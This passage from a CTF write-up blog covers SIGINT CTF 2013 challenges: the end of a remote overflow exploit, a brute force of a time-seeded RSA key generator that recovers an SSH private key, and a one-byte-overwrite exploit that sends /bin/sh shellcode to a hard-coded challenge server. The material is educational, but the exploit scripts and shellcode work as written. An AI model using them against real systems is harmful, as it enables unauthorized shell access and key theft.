          "\x9c\x37\xcd\x08\xf5\xa9\x98\x2e\x57\xde\x93\xb0\x57\x1e" +
          "\x8b\xd2\x3e\x70\xfc\x61\xa8\x8c\x55\xd5\xa1\x6c\x94\x59" )

format = "ProtoSecure1.0 " + struct.pack("B", 0x80) # 16 bytes
hash = sha256("A"*128).digest()
string_for_hash = "A"*128
payload = (struct.pack("B",0x90) * 1300 + dup2 + shell + struct.pack("<I", 0xffffc840+200)) 
code = (format + hash + string_for_hash + payload)

soc.send(code + "\n")
time.sleep(1)
print soc.recv(1024)

soc.send("cat flag\n")
time.sleep(1)
print soc.recv(1024)
Flag for the challenge is c0ffee3ccdd510d0a8faccc8830f61bd

Monday, July 8, 2013

SIGINT CTF - crypto 200 - RSA - [Team xbios]

We were given two files for this challenge - python script used to generate RSA keypair and authorized_keys. Authorized_keys is the public key which has the n and e value. Below is the code
#!/usr/bin/env python

from time import time
from os import system
from Crypto.PublicKey import RSA

SEED = int(time())

def randfunc(n):
    def rand():
        global SEED
        ret = SEED*0x1333370023004200babe004141414100e9a1192355de965ab8cc1239cf015a4e35 + 1
        SEED = ret
        return (ret >> 0x10) & 0x7fff
    ret = ""
    while len(ret) < n:
        ret += chr(rand() & 0xff)
    return ret

keypair = RSA.generate(1024, randfunc)

with open("pub", "w") as pubfile, open("id_rsa", "w") as privfile:
    privfile.write(keypair.exportKey())
    pubfile.write(keypair.publickey().exportKey())

system("ssh-keygen -m PKCS8 -i -f pub > id_rsa.pub && rm pub")
Looking at the code we can see that, current time is used as SEED value during key generation. To solve the challenge

[*] Find the SEED value used in key generation
[*] Generate the private key pair for the given public key
[*] Copy the generated private key to ~/.ssh/id_rsa. Now we can prove our identity to the remote machine and perform a login

Bruteforcing the SEED value was a bit of pain. After some failures, finally we decided to bruteforce the SEED value by going behind the start of CTF time ie
SEED = 1373040000
GMT: Fri, 05 Jul 2013 16:00:00 GMT
The n value was extracted from authorized key as
 
0xbe2bac35ca87627aacabc899d4607c3f66ec9c69b4f4121c20e1716a6587e1fdeb84e102173c9db7c22757254288abc1aac22e4cfcf6beeff8003de55cadc17ae6952478861e6415e801e0e3d04aa917188775207f2b53afb7f948166046de1cbe31524b61fcfa9414714308fe089464157d977ffe49c995922b95305ce961d3
Below is the script we used for bruteforce
#!/usr/bin/env python

from Crypto.PublicKey import RSA
from sys import exit

target = 0xbe2bac35ca87627aacabc899d4607c3f66ec9c69b4f4121c20e1716a6587e1fdeb84e102173c9db7c22757254288abc1aac22e4cfcf6beeff8003de55cadc17ae6952478861e6415e801e0e3d04aa917188775207f2b53afb7f948166046de1cbe31524b61fcfa9414714308fe089464157d977ffe49c995922b95305ce961d3

SEED = 1373040000
counter = 0

def randfunc(n):
    global SEED_Brute
    ret = ""

    while len(ret) < n:
        tmp = SEED_Brute*0x1333370023004200babe004141414100e9a1192355de965ab8cc1239cf015a4e35+1
        SEED_Brute = tmp
        tmp = (tmp >> 0x10) & 0x7fff
        ret += chr(tmp & 0xff)
    return ret

while 1:
    SEED_Brute = SEED - counter
    keypair = RSA.generate(1024, randfunc)
    if keypair.n == target:
        print keypair.p
        print keypair.q
        print (SEED - counter)
        exit(0)
    counter += 1
After sometime we got the following values:
p = 10196183246368760603869192593971202143897281417220455881063414616103901438182656326076501376638806928762094749150020638960102206987607293047096627515275223
q = 13097286606179453667665592444299109782484218865253457545521978739889248320232481682880143106432871469494586765663594908396375009598486558938138835723794021
SEED = 1373038672
Now generate the private key and place it in ~/.ssh/id_rsa and connect to the challenge machine
challenge@ubuntu:~$ ls
flag.txt
challenge@ubuntu:~$ cat flag.txt 
SIGINT_some_people_pay_100_euro_for_this
Flag for the challenge is SIGINT_some_people_pay_100_euro_for_this

Update:

Well, I tried out the optimization as mentioned in the comment section. Thought of making a small note on it.

[*] rand() function is linear congruential generator of form (((SEED * 0x1333370023004200babe004141414100e9a1192355de965ab8cc1239cf015a4e35) + 1 ) >> 16 ) mod 2^15
[*] After computing ((SEED * 0x1333370023004200babe004141414100e9a1192355de965ab8cc1239cf015a4e35) + 1 ), the output is shifted by 16 bits then mod 2^15 is done. So its enough to consider only 32 bits from left, since bits 31 to 16 is brought to bit position 15 to 0
[*] Multiplication is nothing but repeated addition. Even if you add 0x1333370023004200babe004141414100e9a1192355de965ab8cc1239cf015a4e35 'n' number of times, only final 32 bits matter to us. So we can do
>>> hex(0x1333370023004200babe004141414100e9a1192355de965ab8cc1239cf015a4e35 & 0xffffffff)
'0x15a4e35L'
Thats exactly 25 bits
[*] If SEED is greater than 2**32, the value of multiplication is going to cycle back. So its enough to consider only the 4 bytes of SEED
>>> hex(0x15a4e35 * 1)
'0x15a4e35'
>>> hex(0x15a4e35 * 2)
'0x2b49c6a'
>>> hex(0x15a4e35 * (2**32+1))
'0x15a4e35015a4e35'
>>> hex(0x15a4e35 * (2**32+2))
'0x15a4e3502b49c6a'
>>> hex(0x15a4e35 * (2**32+1) & 0xffffffff)
'0x15a4e35'
>>> hex(0x15a4e35 * (2**32+2) & 0xffffffff)
'0x2b49c6a'
[*] Thus we can reduce the multiplier to 0x15a4e35 and SEED to 4 bytes in LCG. Since only 8 bits of LCG is used, further optimization can be achieved by using only 3 bytes of multiplier and SEED

SIGINT CTF - pwning 100 - baremetal - [Team xbios]

We have a 32 bit ELF executable, with RWX permission in stack and 0x08049000-0x0804a000 memory. 61 bytes of user input is taken using read() function. Then the binary performs couple of checks

[*] User input should be greater than 32 bytes
[*] The sum total of value of each byte, should be 0x1ee7. This is done by looping through user input till a NUL byte is hit
[ctf@renorobert SIGINT]$ objdump -d -M intel ./baremetal | grep cmp
 80480cb: 83 f8 20              cmp    eax,0x20
 80480df: 81 fb e7 1e 00 00     cmp    ebx,0x1ee7
Once these checks are passed, we could see
0x80480e7: lea ecx, ptr [0x8049204]
0x80480ed: movzx ebx, byte ptr [ecx]
0x80480f0: test ebx, ebx
0x80480f2: jz 0x80480fb
0x80480f4: call 0x804813b
0x804813b: pop edi
0x804813c: jmp edi
0x80480f9: jmp ecx
ECX points to 0x8049204, which has the bytes 0xe7ff4747. This is nothing but
00000000  47                inc edi
00000001  47                inc edi
00000002  FFE7              jmp edi
With 61 bytes as input we can overwrite one byte of the above sequence. So we have to figure out a way to redirect execution to the user buffer using this one byte overwrite. At this point register EAX points to 0x80491c8, which is start of the read() buffer.

We wrote a python script to generate all possible instructions for bytes 0 to 255 using ndisasm. Byte 0x97 gave the instruction necessary to redirect execution to user buffer
00000000  97                xchg eax,edi
00000001  47                inc edi
00000002  FFE7              jmp edi
Using this sequence we can jump to the address 0x80491c9. Our payload should satisfy the cmp ebx,0x1ee7 check. Here is the final exploit
#!/usr/bin/env python

from struct import pack
import socket

ip = '188.40.147.100'
port = 1024

# http://shell-storm.org/shellcode/files/shellcode-752.php
shellcode = ("\x31\xc9\xf7\xe1\x51\x68\x2f\x2f" +
             "\x73\x68\x68\x2f\x62\x69\x6e\x89" +
             "\xe3\xb0\x0b\xcd\x80")

overwrite = pack("B", 0x97)
# xchg eax,edi
# inc edi
# jmp edi

padding = pack("B", 0x90) * 37 + pack("B", 0x00)
payload = pack("B", 0x0f) + shellcode + padding + overwrite # 1st byte is skipped due to inc edi

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

soc.send(payload + "cat /home/challenge/flag\n")
print soc.recv(1024)
print soc.recv(1024)
Running this we got the flag SIGINT_are_you_getting_warmed_up?